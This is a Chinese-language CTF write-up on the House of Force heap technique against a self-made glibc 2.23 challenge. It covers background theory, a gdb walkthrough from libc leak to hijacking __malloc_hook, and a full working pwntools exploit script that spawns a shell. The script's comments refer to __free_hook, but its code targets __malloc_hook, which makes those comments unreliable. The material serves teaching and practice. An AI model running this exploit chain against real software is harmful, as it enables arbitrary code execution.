House of Force 从零到 getshell ------ 一道自命题的完整调试记录
这是一道关于 House of Force 的自命题,名字叫 my_force,题目本身不复杂,主要用到的知识点是堆溢出。写这篇文章的目的不只是记一下 exp,而是把从 brk 到 main_arena 这条线理清楚,因为 House of Force 恰恰是把这一串概念串起来的一个技巧。
先交代环境:x86-64,glibc 2.23,No PIE,只开了 NX 和 Partial RELRO。下面按知识点扩充、静态分析、动态验证、说明四部分来写。
0. 知识点的扩充
1. brk 和 sbrk
这两个经常被混着叫,其实区别就一个:传的参数不一样。
brk 传的是目标绝对地址,直接告诉内核"堆顶设到这里";sbrk 传的是增量,"往上推多少字节"。
如果手上只有 brk,每次扩堆都得干这么三件事:先 brk(0) 问一下当前堆顶在哪,自己在用户态把新地址算出来,再 brk(新地址) 设回去。两次系统调用,还得自己维护"当前堆顶"这个值。
sbrk 就是给这堆活包了个壳。glibc 里有个静态变量 __curbrk 记着当前堆顶,sbrk(delta) 直接加上去,再调一次底层的 brk 落实。返回值也顺便给了,返回的是扩容前的旧堆顶,也就是新拿到那块内存的起点,拿来就能用。
所以 sbrk 的底层其实还是 brk,只是多做了一点记账和算术。
2. 堆的布局
堆是从低地址往高地址长的。.bss 上面那一段就是堆的起点,本题是 0x405000,再往上是内核给的 brk 边界线,中间这片没分出去的空间就是 top chunk。
高地址 0x426000 +--------------------------+ ← 内核 brk 边界
| Top Chunk |
0x4056c0 +--------------------------+ ← main_arena.top
| 已分配的 chunk |
0x405000 +--------------------------+ ← 堆起点
| .bss / .data |
低地址 +--------------------------+
每次 malloc 从 top 上切一块,top 就往上挪一截。chunk 头里的 size 记的是"从这块头开始一共占多少字节",最低位是 PREV_INUSE 标志位,所以 0x110 的块在内存里写的是 0x111。
越过 brk 边界去访问会直接段错误,因为那块内存内核还没给权限。所以 top chunk 的 size 实际上反映了"还能安全用多少"。
3. arena
早年的分配器只有一个堆、一套空闲链表、一个 top。单线程当然没问题,多线程就麻烦了:大家都去切同一个 top,指针必然乱,只能加锁。结果十个线程抢一把锁,多核直接退化成排队。
ptmalloc 的办法是给线程发独立金库,每个 arena 就是一份完整的管理结构(struct malloc_state),有自己的锁、自己的 bins、自己的 top。线程 A 去 1 号 arena,线程 B 去 2 号,各锁各的门,互不干扰。
struct malloc_state 里最关键的就三个字段:
struct malloc_state {
__libc_lock_define (, mutex); // 这个 arena 自己的锁
int flags;
mfastbinptr fastbinsY[NFASTBINS]; // fastbin 链表
mchunkptr top; // 本 arena 专属的 top chunk 指针
mchunkptr last_remainder;
mchunkptr bins[NBINS * 2 - 2]; // unsorted / small / large bins
...
};
这里有个容易忽略的地方:top 指针是放在 arena 里的,不是全局的。所以每个 arena 各有一个 top,改 main_arena.top 只影响主分配区。
4. 什么时候会走 mmap
这一条在本题里没触发,但看别的堆题时经常要对上号:
- 单次申请超过阈值,默认是 128KB(DEFAULT_MMAP_THRESHOLD)。走 mmap 的好处是 free 的时候能 munmap 直接还给系统,不会在堆里留个洞;否则一块 10MB 的内存在传统堆里被释放后,上面只要还压着一个没释放的小块,堆顶就降不下来。
- 子线程要新建 arena,或者某个子 arena 的 top 用光了。因为整个进程只有一条 brk 边界,被主分配区占着,子分配区只能靠 mmap 另找地盘,一次映射 64MB 虚拟空间,先只把头部那块设成可读写,后面按需 mprotect。
- 主 arena 用 brk 扩容失败,比如撞上了上面的其他映射,或者被 RLIMIT_DATA 卡住,这时候会退而求其次用 mmap 找块空地当新 top,这种情况叫 non-contiguous main arena。
- 环境变量或者 mallopt 把阈值调小了,或者程序干脆换成了 jemalloc / tcmalloc。
本题全程一个主线程、小内存,所以老老实实走 brk,堆是一根连续的线。
5. 每个 arena 都有自己的 top
高地址 +---------------------------------------+
| 栈空间 (Stack) |
+=======================================+ ← 子堆天花板
| 子 Arena 的 Top Chunk | ← thread_arena->top
+---------------------------------------+
| 子线程已分配的 Chunks |
| heap_info / malloc_state(子账本) |
+=======================================+ ← mmap 出来的子堆起点
| ... |
+=======================================+ ← 主堆顶(brk)
| 主 Arena 的 Top Chunk | ← main_arena.top
+---------------------------------------+
| 主线程已分配的 Chunks |
+=======================================+ ← start_brk
| .bss / .data / 代码段 |
低地址 +---------------------------------------+
main_arena 和 thread_arena 都是 struct malloc_state 的实例,所以各自都有自己的 top,互不干扰。
6. request2size
用户说"我要 256 字节",glibc 不能真给 256。一是块前面得挂元数据(prev_size 加 size,64 位下 16 字节),二是块大小必须 16 字节对齐。
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
// SIZE_SZ = 8, MALLOC_ALIGN_MASK = 0xf,化简就是 (req + 0x17) & ~0xf
代进去算:malloc(0x100) 得 0x110,malloc(0x500) 得 0x510,malloc(0x90) 得 0xa0,都对得上。
这个公式在 House of Force 里是致命的,后面 req = nb - 0x10 那个减 0x10 就是从这儿来的。
7. malloc_hook 和 free_hook
这两个是 glibc 留下的全局函数指针,各占 8 字节,住在 libc 的数据段里。它不为 NULL 的时候,原本的分配/释放流程就整个被顶掉。
void *__libc_malloc(size_t bytes)
{
void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);
if (hook != NULL)
return (*hook)(bytes, RETURN_ADDRESS(0)); // 不分配,直接调
return _int_malloc(arena, bytes);
}
void __libc_free(void *mem)
{
void (*hook)(void *, const void *) = atomic_forced_read(__free_hook);
if (hook != NULL) {
(*hook)(mem, RETURN_ADDRESS(0)); // 不释放,调完就返回
return;
}
_int_free(arena, mem, 0);
}
注意两者参数不一样:malloc_hook 第一个参数是请求的字节数,free_hook 第一个参数是被释放的指针。这个差别决定了后面给 system 喂 /bin/sh 的方式完全不同------用 malloc_hook,把 /bin/sh 的地址当成 size 传进去就行;用 free_hook,则要让那个指针指向的内容是 /bin/sh 字符串。
检查发生在函数最开头、arena_get 之前,所以后面所有的堆校验、bin 遍历都不会走。这也是它能当"任意写 → 代码执行"终结点的原因。
8. main_arena
main_arena 是主分配区的账本,谁空了、空在哪、还剩多少、下次从哪切,都写在里面。它在 libc 数据段,偏移固定,这份 libc 里 main_arena = __malloc_hook + 0x10。
顺带说一句 unsorted bin:往里面插块的时候,块的 fd / bk 会被写成链表头的地址,而链表头就在 main_arena + 0x58。所以只要 free 一个够大的块,它用户区前 16 字节就会出现一个 libc 地址,这就是后面泄露 libc 的来源。
1. 静态分析
菜单就四个功能,源码很直白,这里不逐行解释,直接看关键位置。
alloc 用 malloc(size) 申请,size 走的是 strtoull 而不是 atoi,所以能送进去真正的大数;申请完还把地址打印出来,等于白送一个堆地址。edit 用 read(0, ptrsi, nbytes) 写数据,nbytes 完全由输入决定。show 用 write(1, ptrsi, sizesi),用的是申请时记录的大小。free 之后立刻把指针置空、大小清零。
漏洞在 edit 这一段:
v6 = read_int("idx: ");
nbytes = read_size("len: ");
if ( (unsigned int)v6 > 0xF || !*((_QWORD *)&ptrs + v6) )
goto LABEL_26;
printf("data: ");
if ( read(0, *((void **)&ptrs + v6), nbytes) != nbytes )
puts("[-] short read");
它只做了两件事:检查下标合不合法,检查指针是不是空。nbytes 和 sizesv6 之间没有任何比较,read 会老实地从 ptrsv6 开始写 nbytes 个字节,写多少是多少。
那个看着有点怪的 (unsigned int)v6 > 0xF 其实是源码里 i < 0 || i >= MAXSLOT 被编译器优化成了无符号比较,负数和越界一次挡住。所以下标这边没文章可做,能动手的只有长度。
另外 free 之后指针被置空,没有 UAF 也没有 double free;show 用的是记录大小,读的那一端也是安全的。整道题就留了这一个口子。
2. 动态验证
环境是 pwndbg + gdb,ASLR 关掉方便对照地址。
2.1 先把关键地址算出来
gdb -q ./my_force
set pagination off
set confirm off
set disable-randomization on
start
p/x &__malloc_hook
【你应该看到】
$1 = 0x7ffff7bc4b10
有了它,剩下的都是加偏移:
set $hook = 0x7ffff7bc4b10 # __malloc_hook 的地址
set $libc = $hook - 0x3c4b10 # libc 基址 = 0x7ffff7800000
set $T = $libc + 0x3c4b00 # 目标 top = 0x7ffff7bc4b00
set $sys = $libc + 0x45390 # system = 0x7ffff7845390
set $binsh = $libc + 0x18cd57 # "/bin/sh" = 0x7ffff798cd57
这里我额外打了个断在 read_int 上,方便每个提示符前停下来看内存。这里提醒一句,别用 commands / continue / end 那一套,pwndbg 会直接报 DEADLOCK,手动 c 反而更省事。
2.2 把堆搭起来
1
256
1
1280
1
144
【你应该看到】
[0] = 0x405010 (size=256)
[1] = 0x405120 (size=1280)
[2] = 0x405630 (size=144)
heap 看一眼:
Allocated chunk | PREV_INUSE
Addr: 0x405000 Size: 0x110 (0x111)
Allocated chunk | PREV_INUSE
Addr: 0x405110 Size: 0x510 (0x511)
Allocated chunk | PREV_INUSE
Addr: 0x405620 Size: 0xa0 (0xa1)
Top chunk | PREV_INUSE
Addr: 0x4056c0 Size: 0x20940 (0x20941)
三块首尾相接,top 在 0x4056c0。顺便确认一件事:2.23 没有 tcache,free 掉的块不会先进 tcache 队列,而是直接进 bins 或者并进 top。
2.3 泄露 libc
先把 0x500 那块 free 掉。它后面挡着一个 0x90 的 guard 块,所以不会并进 top,而是老老实实进 unsorted bin。
4
1
x/4gx 0x405110
【你应该看到】
0x405110: 0x0000000000000000 0x0000000000000511
0x405120: 0x00007ffff7bc4b78 0x00007ffff7bc4b78
两个指针相等,都是 0x7ffff7bc4b78,减去 0x3c4b78 正好是 libc 基址 0x7ffff7800000。它同时也是 main_arena + 0x58,也就是 unsorted bin 的链表头。
拿到之后按原大小申请回来。malloc 从 unsorted bin 摘块的时候不会清空块里的数据,所以那 16 字节还在:
1
1280
3
1
show 出来的是一串乱码,这是正常的,它就是那 8 字节的小端形式,不用管。想看清楚就用 gdb:
x/2gx 0x405120
【你应该看到】
0x405120: 0x00007ffff7bc4b78
2.4 把 top 挪回来
现在还要让 top 退到 p0 后面,才能用溢出打到它的 size。把 guard 和 0x500 那块依次 free 掉,它们会依次并进 top。
4
2
4
1
x/2gx 0x405110
【你应该看到】
0x405110: 0x0000000000000000 0x0000000000020ef1
0x405110 现在是 top 的头,等于 p0 + 0x100;size 从 0x20941 涨到 0x20ef1,正好是 0x20940 + 0xa0 + 0x510。这一步对上了,说明合并没出岔子。这时候再去 bins 里看,已经空了,全给 top 吃回去了。
2.5 溢出,打掉 top 的 size
2
0
272
然后输入 272 个字符,我直接敲了一串 A。
x/2gx 0x405110
【你应该看到】
0x405110: 0x4141414141414141 0x4141414141414141
p0 的可用区是 0x100 字节,写 272 就多出 0x10,正好盖到 0x405110(next chunk 的 prev_size)和 0x405118(size,也就是 top 的 size)。两个字段都变成 0x4141...,溢出确认。
再把 size 直接落成 -1。这一步用 gdb 写是因为 0xff 敲不进终端:
set {unsigned long}0x405118 = 0xffffffffffffffff
x/2gx 0x405110
【你应该看到】
0x405110: 0x4141414141414141 0xffffffffffffffff
堆管理器从此认为这块 top 还剩 16 EB。
2.6 把 top 搬到 libc
现在的 top 在 0x405110,目标是 0x7ffff7bc4b00。要移动的字节数:
nb = 0x7ffff7bc4b00 - 0x405110 = 0x7ffff77bf9f0
req = nb - 0x10 = 0x7ffff77bf9e0 = 140737345485280
减 0x10 是因为 request2size 会自动加回来,不减的话 top 会多走 16 字节。
1
140737345485280
【你应该看到】
[1] = 0x405120 (size=140737345485280)
返回值本身没什么意义,就是旧 top 的用户指针,关键看 top 去哪了:
x/2gx 0x7ffff7bc4b00
【你应该看到】
0x7ffff7bc4b00: 0x0000000000000000 0xffff800008840609
0x7ffff7bc4b00 上出现了 chunk 头,size 是 0xffff800008840609(末位 1)。这个地址在 libc 数据段里,T + 0x10 正好是 __malloc_hook。
2.7 拿到 hook,写 system
1
32
【你应该看到】
[2] = 0x7ffff7bc4b10 (size=32)
一次"堆分配",返回了 libc 的地址,这就是 House of Force 的威力。
set {unsigned long}0x7ffff7bc4b10 = 0x7ffff7845390
x/gx 0x7ffff7bc4b10
【你应该看到】
0x7ffff7bc4b10 <__malloc_hook>: 0x00007ffff7845390
2.8 触发
1
140737347374423
这个数不是大小,是 "/bin/sh" 的地址(0x7ffff798cd57)。因为 hook 已经被改成 system,__libc_malloc 一进门就把这个"大小"当参数传给了 system,等于 system("/bin/sh")。
这一次连 _int_malloc 都没进去,所以在里面打断点是打不到的。接着敲 id:
【你应该看到】
uid=1000(bgl1) gid=1000(bgl1) ...
3. 说明
3.1 这一招到底做了什么
_int_malloc 从 top 切块的逻辑里,有一条几乎不设防的路径:
victim = av->top;
size = chunksize(victim);
if ((unsigned long)size >= (unsigned long)(nb + MINSIZE)) {
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb); // 纯加法,不查边界
av->top = remainder;
...
return chunk2mem(victim); // 返回 victim + 0x10
}
size 被改成 -1 之后,那个 if 对任何 nb 都成立,remainder = victim + nb 也不看这个地址有没有意义,av->top 就这么被搬走了。
所以 House of Force 的实质不是"溢出"本身,而是篡改 main_arena.top 这个指针。溢出只是达成它的手段。
3.2 三个 0x10
- T 必须 16 对齐,因为 chunk 是对齐分配的;
- T + 0x10 必须是 __malloc_hook,因为 chunk2mem 固定加 0x10;
- req = nb - 0x10,因为 request2size 固定要加回来。
一进一出,全是同一个 0x10。
3.3 为什么选 malloc_hook 不用 free_hook
__free_hook 在 0x3c67a8,末位是 8,不是 16 对齐。想打它就得让 T = __free_hook - 0x18,但那个位置紧挨着 __after_morecore_hook,libc 自己会把我们写进去的 size 改掉,实测读回来是一串乱七八糟的值,下一次 malloc 的准入检查直接失败。
__malloc_hook 在 0x3c4b10,T = 0x3c4b00 正好对齐,而且它前面那 8 字节程序不用,被写脏了也没影响。
再加上 malloc 这条路更短,__libc_malloc 进门就查 hook,参数还只是一个数字,把 /bin/sh 的地址传进去就完事,不需要在堆上另外准备一份字符串。
3.4 为什么 2.29 之后就死了
后面版本给这条路径加了一句范围检查:
if (__glibc_unlikely (size <= 2 * SIZE_SZ) || __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): corrupted top size");
-1 显然大于 system_mem(当前从系统拿到的总量),直接 abort。所以这个技巧只在 2.23 / 2.27 / 2.28 上有效,再往后就得换 tcache poisoning 或者 large bin attack 那些路子。
3.5 这题是一次性的
top 一旦被搬进 libc,堆就废了,main_arena.top 指向数据段,后面任何一次 malloc 都会从那块"假堆"上切,正常逻辑全乱。
所以顺序不能错,也不能中途重来。我在 exp 里前面加了一堆 assert 就是这个原因,宁可提前报错,也不要带着错位跑到底再崩。
3.6 实际踩到的几个坑
- edit 分支是先读 len 再判 idx 的。想用非法下标绕回菜单、骗一个断点,len 那一步也得给个数,不然程序就停在那儿等输入,看着像卡死。
- pwndbg 里用 commands 块配 continue 会报 DEADLOCK,改成手动 c 更稳。
- 发布版 libc 是 strip 过的,_int_malloc、main_arena 这些内部符号 gdb 认不出来。要看分配情况就断 malloc(参数在 rdi),或者干脆看程序自己打印的 size=。
- 泄露那一步读出来的 8 字节是二进制,终端显示成乱码属于正常现象,用 gdb 的 x/2gx 对照确认就行。
- 题目里 guard 块必须大于 0x80。小于等于 0x80 会进 fastbin,free 之后不会和 top 合并,后面算 top 位置就会全错。
3.7 最后
House of Force 的思路很直接:用一个堆溢出把 top 的 size 改成 -1,再用一次巨额 malloc 把 top 送到目标旁边,接着一次 malloc 就把那块内存交到手上。
它的短板也很明显,版本卡死、一次性、依赖地址已知。但作为理解 main_arena.top 和 request2size 的练习题,它把最核心的几个概念串得挺完整。
4.脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
my_force ------ House of Force 自出题 exp(glibc 2.23-0ubuntu10)
利用链:
[1] 泄露:free 一个 0x500 的块进 unsorted bin(后面有 guard,不会被并入 top),
重新 malloc 取回同一块,show 读前 8 字节 = main_arena+0x58 -> libc base
[2] 恢复堆布局:free(guard) + free(leak_chunk) 让 top 回到 p0 之后
[3] 溢出:edit(p0) 的 len 不校验 -> 覆盖 top->size = -1
[4] malloc(evil):top = old_top + request2size(evil) 被挪到 __free_hook 附近
[5] malloc(0x20) 返回 __free_hook-8,edit 写入 system
[6] malloc(0x30) 写 "/bin/sh",free 触发 __free_hook -> system("/bin/sh")
本目录 libc 偏移(nm -D libc-2.23.so 实测):
__free_hook = 0x3c67a8 system = 0x45390
unsorted(fd) = main_arena+0x58 = 0x3c4b78
"""
from pwn import *
import os
import re
context(arch='amd64', log_level=os.environ.get('LV', 'info'))
HERE = os.path.dirname(os.path.abspath(__file__))
LIBC_UNSORTED = 0x3c4b78
LIBC_MALLOC_HOOK = 0x3c4b10
LIBC_BINSH = 0x18cd57
LIBC_SYSTEM = 0x45390
# House of Force 的目标 top:必须 16 对齐,且 top+0x10 落在 __free_hook 前 8 字节
# 取 T = libc + 0x3c6790 => 下一次 malloc 返回 libc+0x3c67a0 = __free_hook - 8
HOF_TOP_OFF = 0x3c4b00
def start():
p = process(os.path.join(HERE, 'my_force'), cwd=HERE)
p.timeout = 4
return p
def alloc(p, size):
p.sendlineafter(b'> ', b'1')
p.recvuntil(b'size: ')
p.sendline(str(size).encode())
line = p.recvline()
m = re.search(rb'0x[0-9a-f]+', line)
return int(m.group(0), 16)
def edit(p, idx, data):
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'idx: ')
p.sendline(str(idx).encode())
p.recvuntil(b'len: ')
p.sendline(str(len(data)).encode())
p.recvuntil(b'data: ')
p.send(data)
p.recvuntil(b'\n') # edit 结束后的空行
def show(p, idx, n):
p.sendlineafter(b'> ', b'3')
p.recvuntil(b'idx: ')
p.sendline(str(idx).encode())
data = p.recvn(n)
p.recvuntil(b'\n')
return data
def free(p, idx):
p.sendlineafter(b'> ', b'4')
p.recvuntil(b'idx: ')
p.sendline(str(idx).encode())
def main():
p = start()
# ---------------- [1] 泄露 libc ----------------
p0 = alloc(p, 0x100) # idx0:HoF 受害者,将来与 top 相邻
p1 = alloc(p, 0x500) # idx1:泄露用
p2 = alloc(p, 0x90) # idx2:guard(>0x80 避免进 fastbin),阻止 p1 free 时并入 top
log.info("p0=%#x p1=%#x p2=%#x", p0, p1, p2)
assert p1 == p0 + 0x100 + 0x10, "堆布局不符合预期"
assert p2 == p1 + 0x510, "堆布局不符合预期"
free(p, 1) # p1 -> unsorted bin
p1b = alloc(p, 0x500) # 精确取回,fd 未被清零
assert p1b == p1
leak = u64(show(p, 1, 8))
libc = leak - LIBC_UNSORTED
assert libc & 0xfff == 0, "libc 基址未页对齐: %#x" % libc
log.success("leak=%#x libc=%#x", leak, libc)
# ---------------- [2] 恢复布局:top 回到 p0 之后 ----------------
free(p, 2) # guard 并入 top
free(p, 1) # p1 与 top 相邻 -> 合并,top = p1 = p0+0x110
top = p0 + 0x100 # p0 的 chunk 头 + 0x110 = user0 + 0x100
top_size_addr = top + 8
# ---------------- [3] 溢出改写 top->size = -1 ----------------
payload = b'A' * 0x100 + p64(0) + p64(0xffffffffffffffff)
assert len(payload) == 0x110
edit(p, 0, payload)
log.success("top->size @ %#x 已改为 -1", top_size_addr)
# ---------------- [4] 把 top 挪到目标 ----------------
T = libc + HOF_TOP_OFF
# request2size(req) = (req+23) & ~15;取 req = (T-top)-0x10 可得 nb = T-top
req = (T - top) - 0x10
log.info("T=%#x req=%#x", T, req)
evil = alloc(p, req) # 只分配,不读入
# ---------------- [5] malloc(0x20) 返回 __free_hook-8 ----------------
hook_user = alloc(p, 0x20)
log.success("malloc(0x20) -> %#x (expect %#x)", hook_user, libc + LIBC_MALLOC_HOOK)
assert hook_user == libc + LIBC_MALLOC_HOOK
edit(p, 2, p64(libc + LIBC_SYSTEM))
log.success("__malloc_hook = system")
# ---------------- [6] 触发:malloc 实参 = "/bin/sh" 地址 ----------------
# 注意:__libc_malloc 一进来就查 __malloc_hook,不会真的分配,
# 所以实参可以是任意大的地址 ------ 这里就是 libc 里的 "/bin/sh" 字符串。
p.sendlineafter(b'> ', b'1')
p.recvuntil(b'size: ')
p.sendline(str(libc + LIBC_BINSH).encode())
# malloc(0x18cd57) -> system("/bin/sh"),不会打印地址行
p.sendline(b'echo PWNED_HOF && id && exit')
print(p.recvrepeat(3).decode(errors='replace'))
p.close()
if __name__ == '__main__':
main()